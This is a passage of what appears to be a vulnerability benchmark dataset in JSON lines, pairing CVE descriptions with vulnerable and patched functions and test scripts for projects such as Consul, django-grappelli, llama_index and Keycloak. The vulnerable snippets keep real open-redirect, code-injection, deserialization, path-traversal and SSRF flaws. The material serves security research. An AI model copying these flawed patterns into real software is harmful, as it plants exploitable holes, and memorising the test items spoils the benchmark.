@@\n+var invalidSegmentName = regexp.MustCompile(\"[`'\\\"\\\\s]+\")\n+\n func (a *jwtAuthorizer) Authorize(req *pbautoconf.AutoConfigRequest) (AutoConfigOptions, error) {\n \t// perform basic JWT Authorization\n \tidentity, err := a.validator.ValidateLogin(context.Background(), req.JWT)\n@@ -6,6 +8,21 @@\n \t\treturn AutoConfigOptions{}, acl.PermissionDenied(\"Failed JWT authorization: %v\", err)\n \t}\n \n+\t// Ensure provided data cannot escape the RHS of a bexpr for security.\n+\t// This is not the cleanest way to prevent this behavior. Ideally, the bexpr would allow us to\n+\t// inject a variable on the RHS for comparison as well, but it would be a complex change to implement\n+\t// that would likely break backwards-compatibility in certain circumstances.\n+\tif dns.InvalidNameRe.MatchString(req.Node) {\n+\t\treturn AutoConfigOptions{}, fmt.Errorf(\"Invalid request field. %v = `%v`\", \"node\", req.Node)\n+\t}\n+\tif invalidSegmentName.MatchString(req.Segment) {\n+\t\treturn AutoConfigOptions{}, fmt.Errorf(\"Invalid request field. %v = `%v`\", \"segment\", req.Segment)\n+\t}\n+\tif req.Partition != \"\" && !dns.IsValidLabel(req.Partition) {\n+\t\treturn AutoConfigOptions{}, fmt.Errorf(\"Invalid request field. %v = `%v`\", \"partition\", req.Partition)\n+\t}\n+\n+\t// Ensure that every value in this mapping is safe to interpolate before using it.\n \tvarMap := map[string]string{\n \t\t\"node\":      req.Node,\n \t\t\"segment\":   req.Segment,\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2021-41803:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/consul\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ngo test  -timeout 30s -run ^TestAutoConfigInitialConfiguration$ github.com/hashicorp/consul/agent/consul\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2021-41803:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/consul\ngit apply --whitespace=nowarn /workspace/fix.patch\ngo test -timeout 30s -run '^(TestAutoConfig_updateTLSCertificatesInConfig|TestAutoConfig_updateACLsInConfig|TestAutoConfig_updateGossipEncryptionInConfig|TestAutoConfig_baseConfig|TestAutoConfigInitialConfiguration|TestAutoConfig_updateTLSSettingsInConfig|TestAutoConfig_updateJoinAddressesInConfig)$' github.com/hashicorp/consul/agent/consul\n"}
{"cve_id": "CVE-2021-46898", "cve_description": "views/switch.py in django-grappelli (aka Django Grappelli) before 2.15.2 attempts to prevent external redirection with startswith(\"/\") but this does not consider a protocol-relative URL (e.g., //example.com) attack.", "cwe_info": {"CWE-601": {"name": "URL Redirection to Untrusted Site ('Open Redirect')", "description": "The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect."}}, "repo": "https://github.com/sehmaschine/django-grappelli", "patch_url": ["https://github.com/sehmaschine/django-grappelli/commit/4ca94bcda0fa2720594506853d85e00c8212968f"], "programing_language": "Python", "vul_func": [{"id": "vul_py_128_1", "commit": "55f88d6", "file_path": "grappelli/views/switch.py", "start_line": 23, "end_line": 69, "snippet": "def switch_user(request, object_id):\n\n    # current/session user\n    current_user = request.user\n    session_user = request.session.get(\"original_user\", {\"id\": current_user.id, \"username\": current_user.get_username()})\n\n    # check redirect\n    redirect_url = request.GET.get(\"redirect\", None)\n    if redirect_url is None or not redirect_url.startswith(\"/\"):\n        raise Http404()\n\n    # check original_user\n    try:\n        original_user = User.objects.get(pk=session_user[\"id\"], is_staff=True)\n        if not SWITCH_USER_ORIGINAL(original_user):\n            messages.add_message(request, messages.ERROR, _(\"Permission denied.\"))\n            return redirect(request.GET.get(\"redirect\"))\n    except ObjectDoesNotExist:\n        msg = _('%(name)s object with primary key %(key)r does not exist.') % {'name': \"User\", 'key': escape(session_user[\"id\"])}\n        messages.add_message(request, messages.ERROR, msg)\n        return redirect(request.GET.get(\"redirect\"))\n\n    # check new user\n    try:\n        target_user = User.objects.get(pk=object_id, is_staff=True)\n        if target_user != original_user and not SWITCH_USER_TARGET(original_user, target_user):\n            messages.add_message(request, messages.ERROR, _(\"Permission denied.\"))\n            return redirect(request.GET.get(\"redirect\"))\n    except ObjectDoesNotExist:\n        msg = _('%(name)s object with primary key %(key)r does not exist.') % {'name': \"User\", 'key': escape(object_id)}\n        messages.add_message(request, messages.ERROR, msg)\n        return redirect(request.GET.get(\"redirect\"))\n\n    # find backend\n    if not hasattr(target_user, 'backend'):\n        for backend in settings.AUTHENTICATION_BACKENDS:\n            if target_user == load_backend(backend).get_user(target_user.pk):\n                target_user.backend = backend\n                break\n\n    # target user login, set original as session\n    if hasattr(target_user, 'backend'):\n        login(request, target_user)\n        if original_user.id != target_user.id:\n            request.session[\"original_user\"] = {\"id\": original_user.id, \"username\": original_user.get_username()}\n\n    return redirect(request.GET.get(\"redirect\"))"}], "fix_func": [{"id": "fix_py_128_1", "commit": "4ca94bc", "file_path": "grappelli/views/switch.py", "start_line": 24, "end_line": 75, "snippet": "def switch_user(request, object_id):\n\n    # current/session user\n    current_user = request.user\n    session_user = request.session.get(\"original_user\", {\"id\": current_user.id, \"username\": current_user.get_username()})\n\n    # check redirect\n    redirect_url = request.GET.get(\"redirect\", None)\n    if redirect_url is None or not \\\n        url_has_allowed_host_and_scheme(\n            url=redirect_url,\n            allowed_hosts={request.get_host()},\n            require_https=request.is_secure(),\n        ):\n        raise Http404()\n        \n    # check original_user\n    try:\n        original_user = User.objects.get(pk=session_user[\"id\"], is_staff=True)\n        if not SWITCH_USER_ORIGINAL(original_user):\n            messages.add_message(request, messages.ERROR, _(\"Permission denied.\"))\n            return redirect(redirect_url)\n    except ObjectDoesNotExist:\n        msg = _('%(name)s object with primary key %(key)r does not exist.') % {'name': \"User\", 'key': escape(session_user[\"id\"])}\n        messages.add_message(request, messages.ERROR, msg)\n        return redirect(redirect_url)\n\n    # check new user\n    try:\n        target_user = User.objects.get(pk=object_id, is_staff=True)\n        if target_user != original_user and not SWITCH_USER_TARGET(original_user, target_user):\n            messages.add_message(request, messages.ERROR, _(\"Permission denied.\"))\n            return redirect(redirect_url)\n    except ObjectDoesNotExist:\n        msg = _('%(name)s object with primary key %(key)r does not exist.') % {'name': \"User\", 'key': escape(object_id)}\n        messages.add_message(request, messages.ERROR, msg)\n        return redirect(redirect_url)\n\n    # find backend\n    if not hasattr(target_user, 'backend'):\n        for backend in settings.AUTHENTICATION_BACKENDS:\n            if target_user == load_backend(backend).get_user(target_user.pk):\n                target_user.backend = backend\n                break\n\n    # target user login, set original as session\n    if hasattr(target_user, 'backend'):\n        login(request, target_user)\n        if original_user.id != target_user.id:\n            request.session[\"original_user\"] = {\"id\": original_user.id, \"username\": original_user.get_username()}\n\n    return redirect(redirect_url)"}], "vul_patch": "--- a/grappelli/views/switch.py\n+++ b/grappelli/views/switch.py\n@@ -6,30 +6,35 @@\n \n     # check redirect\n     redirect_url = request.GET.get(\"redirect\", None)\n-    if redirect_url is None or not redirect_url.startswith(\"/\"):\n+    if redirect_url is None or not \\\n+        url_has_allowed_host_and_scheme(\n+            url=redirect_url,\n+            allowed_hosts={request.get_host()},\n+            require_https=request.is_secure(),\n+        ):\n         raise Http404()\n-\n+        \n     # check original_user\n     try:\n         original_user = User.objects.get(pk=session_user[\"id\"], is_staff=True)\n         if not SWITCH_USER_ORIGINAL(original_user):\n             messages.add_message(request, messages.ERROR, _(\"Permission denied.\"))\n-            return redirect(request.GET.get(\"redirect\"))\n+            return redirect(redirect_url)\n     except ObjectDoesNotExist:\n         msg = _('%(name)s object with primary key %(key)r does not exist.') % {'name': \"User\", 'key': escape(session_user[\"id\"])}\n         messages.add_message(request, messages.ERROR, msg)\n-        return redirect(request.GET.get(\"redirect\"))\n+        return redirect(redirect_url)\n \n     # check new user\n     try:\n         target_user = User.objects.get(pk=object_id, is_staff=True)\n         if target_user != original_user and not SWITCH_USER_TARGET(original_user, target_user):\n             messages.add_message(request, messages.ERROR, _(\"Permission denied.\"))\n-            return redirect(request.GET.get(\"redirect\"))\n+            return redirect(redirect_url)\n     except ObjectDoesNotExist:\n         msg = _('%(name)s object with primary key %(key)r does not exist.') % {'name': \"User\", 'key': escape(object_id)}\n         messages.add_message(request, messages.ERROR, msg)\n-        return redirect(request.GET.get(\"redirect\"))\n+        return redirect(redirect_url)\n \n     # find backend\n     if not hasattr(target_user, 'backend'):\n@@ -44,4 +49,4 @@\n         if original_user.id != target_user.id:\n             request.session[\"original_user\"] = {\"id\": original_user.id, \"username\": original_user.get_username()}\n \n-    return redirect(request.GET.get(\"redirect\"))\n+    return redirect(redirect_url)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-23387", "cve_description": "The package trailing-slash before 2.0.1 are vulnerable to Open Redirect via the use of trailing double slashes in the URL when accessing the vulnerable endpoint (such as https://example.com//attacker.example/). The vulnerable code is in index.js::createTrailing(), as the web server uses relative URLs instead of absolute URLs.", "cwe_info": {"CWE-601": {"name": "URL Redirection to Untrusted Site ('Open Redirect')", "description": "The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect."}}, "repo": "https://github.com/fardog/trailing-slash", "patch_url": ["https://github.com/fardog/trailing-slash/commit/f8e66f1429308247e5a119d430203077d8f05048"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_40_1", "commit": "003b706", "file_path": "index.js", "start_line": 5, "end_line": 39, "snippet": "function createTrailing (_options, _next) {\n  var next = typeof _options === 'function' ? _options : _next\n  var options = typeof _options === 'object' ? _options : {}\n  var status = options.status || 302\n  var slash = typeof options.slash === 'undefined' ? true : options.slash\n  var middleware = !next\n\n  return function trailingSlash () {\n    var args = Array.prototype.slice.call(arguments)\n    var done = middleware ? args.slice(-1)[0] : next\n\n    var req = args[0]\n    var res = args[1]\n    var url = u.parse(req.url)\n    var length = url.pathname.length\n    var hasSlash = url.pathname.charAt(length - 1) === '/'\n\n    if (hasSlash === slash) {\n      if (middleware) {\n        return done()\n      }\n      return next.apply(null, args)\n    }\n\n    if (slash) {\n      url.pathname = url.pathname + '/'\n    } else {\n      url.pathname = url.pathname.slice(0, -1)\n    }\n\n    res.statusCode = status\n    res.setHeader('Location', u.format(url))\n    res.end()\n  }\n}"}], "fix_func": [{"id": "fix_js_40_1", "commit": "f8e66f1429308247e5a119d430203077d8f05048", "file_path": "index.js", "start_line": 5, "end_line": 39, "snippet": "function createTrailing (_options, _next) {\n  var next = typeof _options === 'function' ? _options : _next\n  var options = typeof _options === 'object' ? _options : {}\n  var status = options.status || 302\n  var slash = typeof options.slash === 'undefined' ? true : options.slash\n  var middleware = !next\n\n  return function trailingSlash () {\n    var args = Array.prototype.slice.call(arguments)\n    var done = middleware ? args.slice(-1)[0] : next\n\n    var req = args[0]\n    var res = args[1]\n    var url = u.parse(req.url)\n    var length = url.pathname.length\n    var hasSlash = url.pathname.charAt(length - 1) === '/'\n\n    if (hasSlash === slash) {\n      if (middleware) {\n        return done()\n      }\n      return next.apply(null, args)\n    }\n\n    if (slash) {\n      url.pathname = url.pathname + '/'\n    } else {\n      url.pathname = url.pathname.slice(0, -1)\n    }\n\n    res.statusCode = status\n    res.setHeader('Location', escapeLeadingSlashes(u.format(url)))\n    res.end()\n  }\n}"}, {"id": "fix_js_40_2", "commit": "f8e66f1429308247e5a119d430203077d8f05048", "file_path": "index.js", "start_line": 41, "end_line": 46, "snippet": "function escapeLeadingSlashes (url) {\n  if (url.slice(0, 2) === '//') {\n    return '/%2F' + url.slice(2)\n  }\n  return url\n}"}], "vul_patch": "--- a/index.js\n+++ b/index.js\n@@ -29,7 +29,7 @@\n     }\n \n     res.statusCode = status\n-    res.setHeader('Location', u.format(url))\n+    res.setHeader('Location', escapeLeadingSlashes(u.format(url)))\n     res.end()\n   }\n }\n\n--- /dev/null\n+++ b/index.js\n@@ -0,0 +1,6 @@\n+function escapeLeadingSlashes (url) {\n+  if (url.slice(0, 2) === '//') {\n+    return '/%2F' + url.slice(2)\n+  }\n+  return url\n+}\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2021-23387:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/trailing-slash\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\nnpx tape test.js\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2021-23387:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/trailing-slash\ngit apply --whitespace=nowarn /workspace/fix.patch\nnpx tape test.js\n"}
{"cve_id": "CVE-2024-45201", "cve_description": "An issue was discovered in llama_index before 0.10.38. download/integration.py includes an exec call for import {cls_name}.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/run-llama/llama_index", "patch_url": ["https://github.com/run-llama/llama_index/commit/bd827c30484fa085ec769fa55dc7f2add8006ac8"], "programing_language": "Python", "vul_func": [{"id": "vul_py_78_1", "commit": "ece8f2d", "file_path": "llama-index-core/llama_index/core/download/integration.py", "start_line": "13", "end_line": "28", "snippet": "def download_integration(module_str: str, module_import_str: str, cls_name: str) -> Any:\n    \"\"\"Returns an integration class by first pip installing its parent module.\"\"\"\n    try:\n        pip_install(module_str)  # this works for any integration not just packs\n    except Exception as e:\n        raise Exception(f\"Failed to pip install `{module_str}`\") from e\n\n    try:\n        exec(f\"from {module_import_str} import {cls_name}\")\n        module_spec = importlib.util.find_spec(module_import_str)\n        module = importlib.util.module_from_spec(module_spec)\n        module_spec.loader.exec_module(module)\n        pack_cls = getattr(module, cls_name)\n    except ImportError as e:\n        raise ImportError(f\"Unable to import {cls_name}\") from e\n    return pack_cls"}], "fix_func": [{"id": "fix_py_78_1", "commit": "bd827c3", "file_path": "llama-index-core/llama_index/core/download/integration.py", "start_line": "13", "end_line": "27", "snippet": "def download_integration(module_str: str, module_import_str: str, cls_name: str) -> Any:\n    \"\"\"Returns an integration class by first pip installing its parent module.\"\"\"\n    try:\n        pip_install(module_str)  # this works for any integration not just packs\n    except Exception as e:\n        raise Exception(f\"Failed to pip install `{module_str}`\") from e\n\n    try:\n        module_spec = importlib.util.find_spec(module_import_str)\n        module = importlib.util.module_from_spec(module_spec)\n        module_spec.loader.exec_module(module)\n        pack_cls = getattr(module, cls_name)\n    except ImportError as e:\n        raise ImportError(f\"Unable to import {cls_name}\") from e\n    return pack_cls"}], "vul_patch": "--- a/llama-index-core/llama_index/core/download/integration.py\n+++ b/llama-index-core/llama_index/core/download/integration.py\n@@ -6,7 +6,6 @@\n         raise Exception(f\"Failed to pip install `{module_str}`\") from e\n \n     try:\n-        exec(f\"from {module_import_str} import {cls_name}\")\n         module_spec = importlib.util.find_spec(module_import_str)\n         module = importlib.util.module_from_spec(module_spec)\n         module_spec.loader.exec_module(module)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-33420", "cve_description": "A deserialization issue discovered in inikulin replicator before 1.0.4 allows remote attackers to run arbitrary code via the fromSerializable function in TypedArray object.", "cwe_info": {"CWE-502": {"name": "Deserialization of Untrusted Data", "description": "The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid."}}, "repo": "https://github.com/inikulin/replicator", "patch_url": ["https://github.com/inikulin/replicator/commit/2c626242fb4a118855262c64b5731b2ce98e521b"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_64_1", "commit": "8eb0892", "file_path": "index.js", "start_line": 13, "end_line": 27, "snippet": "var ARRAY_BUFFER_SUPPORTED = typeof ArrayBuffer === 'function';\nvar MAP_SUPPORTED          = typeof Map === 'function';\nvar SET_SUPPORTED          = typeof Set === 'function';\n\nvar TYPED_ARRAY_CTORS = [\n    'Int8Array',\n    'Uint8Array',\n    'Uint8ClampedArray',\n    'Int16Array',\n    'Uint16Array',\n    'Int32Array',\n    'Uint32Array',\n    'Float32Array',\n    'Float64Array'\n];"}, {"id": "vul_js_64_2", "commit": "8eb0892", "file_path": "index.js", "start_line": 430, "end_line": 432, "snippet": "        fromSerializable: function (val) {\n            return typeof GLOBAL[val.ctorName] === 'function' ? new GLOBAL[val.ctorName](val.arr) : val.arr;\n        }"}], "fix_func": [{"id": "fix_js_64_1", "commit": "2c626242fb4a118855262c64b5731b2ce98e521b", "file_path": "index.js", "start_line": 13, "end_line": 35, "snippet": "var TYPED_ARRAY_CTORS = {\n    'Int8Array':         Int8Array,\n    'Uint8Array':        Uint8Array,\n    'Uint8ClampedArray': Uint8ClampedArray,\n    'Int16Array':        Int16Array,\n    'Uint16Array':       Uint16Array,\n    'Int32Array':        Int32Array,\n    'Uint32Array':       Uint32Array,\n    'Float32Array':      Float32Array,\n    'Float64Array':      Float64Array\n};\n\nfunction isFunction (value) {\n    return typeof value === 'function';\n}\n\nvar ARRAY_BUFFER_SUPPORTED = isFunction(ArrayBuffer);\nvar MAP_SUPPORTED          = isFunction(Map);\nvar SET_SUPPORTED          = isFunction(Set);\n\nvar TYPED_ARRAY_SUPPORTED  = function (typeName) {\n    return isFunction(TYPED_ARRAY_CTORS[typeName]); \n};"}, {"id": "fix_js_64_2", "commit": "2c626242fb4a118855262c64b5731b2ce98e521b", "file_path": "index.js", "start_line": 432, "end_line": 434, "snippet": "        fromSerializable: function (val) {\n            return TYPED_ARRAY_SUPPORTED(val.ctorName) ? new TYPED_ARRAY_CTORS[val.ctorName](val.arr) : val.arr;\n        }"}], "vul_patch": "--- a/index.js\n+++ b/index.js\n@@ -1,15 +1,23 @@\n-var ARRAY_BUFFER_SUPPORTED = typeof ArrayBuffer === 'function';\n-var MAP_SUPPORTED          = typeof Map === 'function';\n-var SET_SUPPORTED          = typeof Set === 'function';\n+var TYPED_ARRAY_CTORS = {\n+    'Int8Array':         Int8Array,\n+    'Uint8Array':        Uint8Array,\n+    'Uint8ClampedArray': Uint8ClampedArray,\n+    'Int16Array':        Int16Array,\n+    'Uint16Array':       Uint16Array,\n+    'Int32Array':        Int32Array,\n+    'Uint32Array':       Uint32Array,\n+    'Float32Array':      Float32Array,\n+    'Float64Array':      Float64Array\n+};\n \n-var TYPED_ARRAY_CTORS = [\n-    'Int8Array',\n-    'Uint8Array',\n-    'Uint8ClampedArray',\n-    'Int16Array',\n-    'Uint16Array',\n-    'Int32Array',\n-    'Uint32Array',\n-    'Float32Array',\n-    'Float64Array'\n-];\n+function isFunction (value) {\n+    return typeof value === 'function';\n+}\n+\n+var ARRAY_BUFFER_SUPPORTED = isFunction(ArrayBuffer);\n+var MAP_SUPPORTED          = isFunction(Map);\n+var SET_SUPPORTED          = isFunction(Set);\n+\n+var TYPED_ARRAY_SUPPORTED  = function (typeName) {\n+    return isFunction(TYPED_ARRAY_CTORS[typeName]); \n+};\n\n--- a/index.js\n+++ b/index.js\n@@ -1,3 +1,3 @@\n         fromSerializable: function (val) {\n-            return typeof GLOBAL[val.ctorName] === 'function' ? new GLOBAL[val.ctorName](val.arr) : val.arr;\n+            return TYPED_ARRAY_SUPPORTED(val.ctorName) ? new TYPED_ARRAY_CTORS[val.ctorName](val.arr) : val.arr;\n         }\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2021-33420:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/replicator\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\nnpx mocha --grep \"Should not allow RCE when deserializing TypedArrays\" test/test.js\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2021-33420:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/replicator\ngit apply --whitespace=nowarn /workspace/test.patch\nnpx mocha --timeout 3000 --grep \"Should not allow RCE when deserializing TypedArrays\" --invert test/test.js\n"}
{"cve_id": "CVE-2021-20206", "cve_description": "An improper limitation of path name flaw was found in containernetworking/cni in versions before 0.8.1. When specifying the plugin to load in the 'type' field in the network configuration, it is possible to use special elements such as \"../\" separators to reference binaries elsewhere on the system. This flaw allows an attacker to execute other existing binaries other than the cni plugins/types, such as 'reboot'. The highest threat from this vulnerability is to confidentiality, integrity, as well as system availability.", "cwe_info": {"CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/containernetworking/cni", "patch_url": ["https://github.com/containernetworking/cni/commit/a5c35b1d1730a85efda243217db3ab28bb17681b"], "programing_language": "Go", "vul_func": [{"id": "vul_go_169_1", "commit": "15391a8", "file_path": "pkg/invoke/find.go", "start_line": 24, "end_line": 43, "snippet": "func FindInPath(plugin string, paths []string) (string, error) {\n\tif plugin == \"\" {\n\t\treturn \"\", fmt.Errorf(\"no plugin name provided\")\n\t}\n\n\tif len(paths) == 0 {\n\t\treturn \"\", fmt.Errorf(\"no paths provided\")\n\t}\n\n\tfor _, path := range paths {\n\t\tfor _, fe := range ExecutableFileExtensions {\n\t\t\tfullpath := filepath.Join(path, plugin) + fe\n\t\t\tif fi, err := os.Stat(fullpath); err == nil && fi.Mode().IsRegular() {\n\t\t\t\treturn fullpath, nil\n\t\t\t}\n\t\t}\n\t}\n\n\treturn \"\", fmt.Errorf(\"failed to find plugin %q in path %s\", plugin, paths)\n}"}], "fix_func": [{"id": "fix_go_169_1", "commit": "a5c35b1", "file_path": "pkg/invoke/find.go", "start_line": 25, "end_line": 48, "snippet": "func FindInPath(plugin string, paths []string) (string, error) {\n\tif plugin == \"\" {\n\t\treturn \"\", fmt.Errorf(\"no plugin name provided\")\n\t}\n\n\tif strings.ContainsRune(plugin, os.PathSeparator) {\n\t\treturn \"\", fmt.Errorf(\"invalid plugin name: %s\", plugin)\n\t}\n\n\tif len(paths) == 0 {\n\t\treturn \"\", fmt.Errorf(\"no paths provided\")\n\t}\n\n\tfor _, path := range paths {\n\t\tfor _, fe := range ExecutableFileExtensions {\n\t\t\tfullpath := filepath.Join(path, plugin) + fe\n\t\t\tif fi, err := os.Stat(fullpath); err == nil && fi.Mode().IsRegular() {\n\t\t\t\treturn fullpath, nil\n\t\t\t}\n\t\t}\n\t}\n\n\treturn \"\", fmt.Errorf(\"failed to find plugin %q in path %s\", plugin, paths)\n}"}], "vul_patch": "--- a/pkg/invoke/find.go\n+++ b/pkg/invoke/find.go\n@@ -1,6 +1,10 @@\n func FindInPath(plugin string, paths []string) (string, error) {\n \tif plugin == \"\" {\n \t\treturn \"\", fmt.Errorf(\"no plugin name provided\")\n+\t}\n+\n+\tif strings.ContainsRune(plugin, os.PathSeparator) {\n+\t\treturn \"\", fmt.Errorf(\"invalid plugin name: %s\", plugin)\n \t}\n \n \tif len(paths) == 0 {\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-2237", "cve_description": "A flaw was found in the Keycloak Node.js Adapter. This flaw allows an attacker to benefit from an Open Redirect vulnerability in the checkSso function.", "cwe_info": {"CWE-601": {"name": "URL Redirection to Untrusted Site ('Open Redirect')", "description": "The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect."}}, "repo": "https://github.com/keycloak/keycloak-nodejs-connect", "patch_url": ["https://github.com/keycloak/keycloak-nodejs-connect/commit/190a9470e234bbd9ac5d5de43f5a19aead9a2c21"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_175_1", "commit": "e4bd6b7", "file_path": "middleware/check-sso.js", "start_line": 41, "end_line": 79, "snippet": "module.exports = function (keycloak) {\n  return function checkSso (request, response, next) {\n    if (request.kauth && request.kauth.grant) {\n      return next()\n    }\n\n    //  Check SSO process is completed and user is not logged in\n    if (request.session.auth_is_check_sso_complete) {\n      request.session.auth_is_check_sso_complete = false\n      return next()\n    }\n\n    //  Keycloak server has just answered that user is not logged in\n    if (request.query.error === 'login_required') {\n      const urlParts = {\n        pathname: request.path,\n        query: request.query\n      }\n\n      delete urlParts.query.error\n      delete urlParts.query.auth_callback\n      delete urlParts.query.state\n\n      const cleanUrl = URL.format(urlParts)\n\n      //  Check SSO process is completed\n      request.session.auth_is_check_sso_complete = true\n\n      //  Redirect back to the original URL\n      return response.redirect(cleanUrl)\n    }\n\n    if (keycloak.redirectToLogin(request)) {\n      forceCheckSSO(keycloak, request, response)\n    } else {\n      return keycloak.accessDenied(request, response, next)\n    }\n  }\n}"}], "fix_func": [{"id": "fix_js_175_1", "commit": "190a947", "file_path": "middleware/check-sso.js", "start_line": 41, "end_line": 80, "snippet": "module.exports = function (keycloak) {\n  return function checkSso (request, response, next) {\n    if (request.kauth && request.kauth.grant) {\n      return next()\n    }\n\n    //  Check SSO process is completed and user is not logged in\n    if (request.session.auth_is_check_sso_complete) {\n      request.session.auth_is_check_sso_complete = false\n      return next()\n    }\n\n    //  Keycloak server has just answered that user is not logged in\n    if (request.query.error === 'login_required') {\n      const urlParts = {\n        pathname: request.path,\n        query: request.query\n      }\n\n      delete urlParts.query.error\n      delete urlParts.query.auth_callback\n      delete urlParts.query.state\n\n      // Collapse leading slashes to a single slash to prevent open redirects\n      const cleanUrl = URL.format(urlParts).replace(/^\\/+/, '/')\n\n      //  Check SSO process is completed\n      request.session.auth_is_check_sso_complete = true\n\n      //  Redirect back to the original URL\n      return response.redirect(cleanUrl)\n    }\n\n    if (keycloak.redirectToLogin(request)) {\n      forceCheckSSO(keycloak, request, response)\n    } else {\n      return keycloak.accessDenied(request, response, next)\n    }\n  }\n}"}], "vul_patch": "--- a/middleware/check-sso.js\n+++ b/middleware/check-sso.js\n@@ -21,7 +21,8 @@\n       delete urlParts.query.auth_callback\n       delete urlParts.query.state\n \n-      const cleanUrl = URL.format(urlParts)\n+      // Collapse leading slashes to a single slash to prevent open redirects\n+      const cleanUrl = URL.format(urlParts).replace(/^\\/+/, '/')\n \n       //  Check SSO process is completed\n       request.session.auth_is_check_sso_complete = true\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-38580", "cve_description": "Zalando Skipper v0.13.236 is vulnerable to Server-Side Request Forgery (SSRF).", "cwe_info": {"CWE-918": {"name": "Server-Side Request Forgery (SSRF)", "description": "The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination."}}, "repo": "https://github.com/zalando/skipper", "patch_url": ["https://github.com/zalando/skipper/commit/842634347da8fe77e396f66edea79d329fd72130"], "programing_language": "Go", "vul_func": [{"id": "vul_go_234_1", "commit": "bc39a90", "file_path": "proxy/proxy.go", "start_line": 43, "end_line": 66, "snippet": "const (\n\tproxyBufferSize         = 8192\n\tunknownRouteID          = \"_unknownroute_\"\n\tunknownRouteBackendType = \"<unknown>\"\n\tunknownRouteBackend     = \"<unknown>\"\n\tbackendIsProxyHeader    = \"X-Skipper-Proxy\"\n\n\t// Number of loops allowed by default.\n\tDefaultMaxLoopbacks = 9\n\n\t// The default value set for http.Transport.MaxIdleConnsPerHost.\n\tDefaultIdleConnsPerHost = 64\n\n\t// The default period at which the idle connections are forcibly\n\t// closed.\n\tDefaultCloseIdleConnsPeriod = 20 * time.Second\n\n\t// DefaultResponseHeaderTimeout, the default response header timeout\n\tDefaultResponseHeaderTimeout = 60 * time.Second\n\n\t// DefaultExpectContinueTimeout, the default timeout to expect\n\t// a response for a 100 Continue request\n\tDefaultExpectContinueTimeout = 30 * time.Second\n)"}, {"id": "vul_go_234_2", "commit": "bc39a90", "file_path": "proxy/proxy.go", "start_line": 469, "end_line": 527, "snippet": "func mapRequest(ctx *context, requestContext stdlibcontext.Context, removeHopHeaders bool) (*http.Request, *routing.LBEndpoint, error) {\n\tvar endpoint *routing.LBEndpoint\n\tr := ctx.request\n\trt := ctx.route\n\thost := ctx.outgoingHost\n\tstateBag := ctx.StateBag()\n\tu := r.URL\n\n\tswitch rt.BackendType {\n\tcase eskip.DynamicBackend:\n\t\tsetRequestURLFromRequest(u, r)\n\t\tsetRequestURLForDynamicBackend(u, stateBag)\n\tcase eskip.LBBackend:\n\t\tendpoint = setRequestURLForLoadBalancedBackend(u, rt, &routing.LBContext{Request: r, Route: rt, Params: stateBag})\n\tdefault:\n\t\tu.Scheme = rt.Scheme\n\t\tu.Host = rt.Host\n\t}\n\n\tbody := r.Body\n\tif r.ContentLength == 0 {\n\t\tbody = nil\n\t}\n\n\trr, err := http.NewRequestWithContext(requestContext, r.Method, u.String(), body)\n\tif err != nil {\n\t\treturn nil, endpoint, err\n\t}\n\n\trr.ContentLength = r.ContentLength\n\tif removeHopHeaders {\n\t\trr.Header = cloneHeaderExcluding(r.Header, hopHeaders)\n\t} else {\n\t\trr.Header = cloneHeader(r.Header)\n\t}\n\t// Disable default net/http user agent when user agent is not specified\n\tif _, ok := rr.Header[\"User-Agent\"]; !ok {\n\t\trr.Header[\"User-Agent\"] = []string{\"\"}\n\t}\n\trr.Host = host\n\n\t// If there is basic auth configured in the URL we add them as headers\n\tif u.User != nil {\n\t\tup := u.User.String()\n\t\tupBase64 := base64.StdEncoding.EncodeToString([]byte(up))\n\t\trr.Header.Add(\"Authorization\", fmt.Sprintf(\"Basic %s\", upBase64))\n\t}\n\n\tif _, 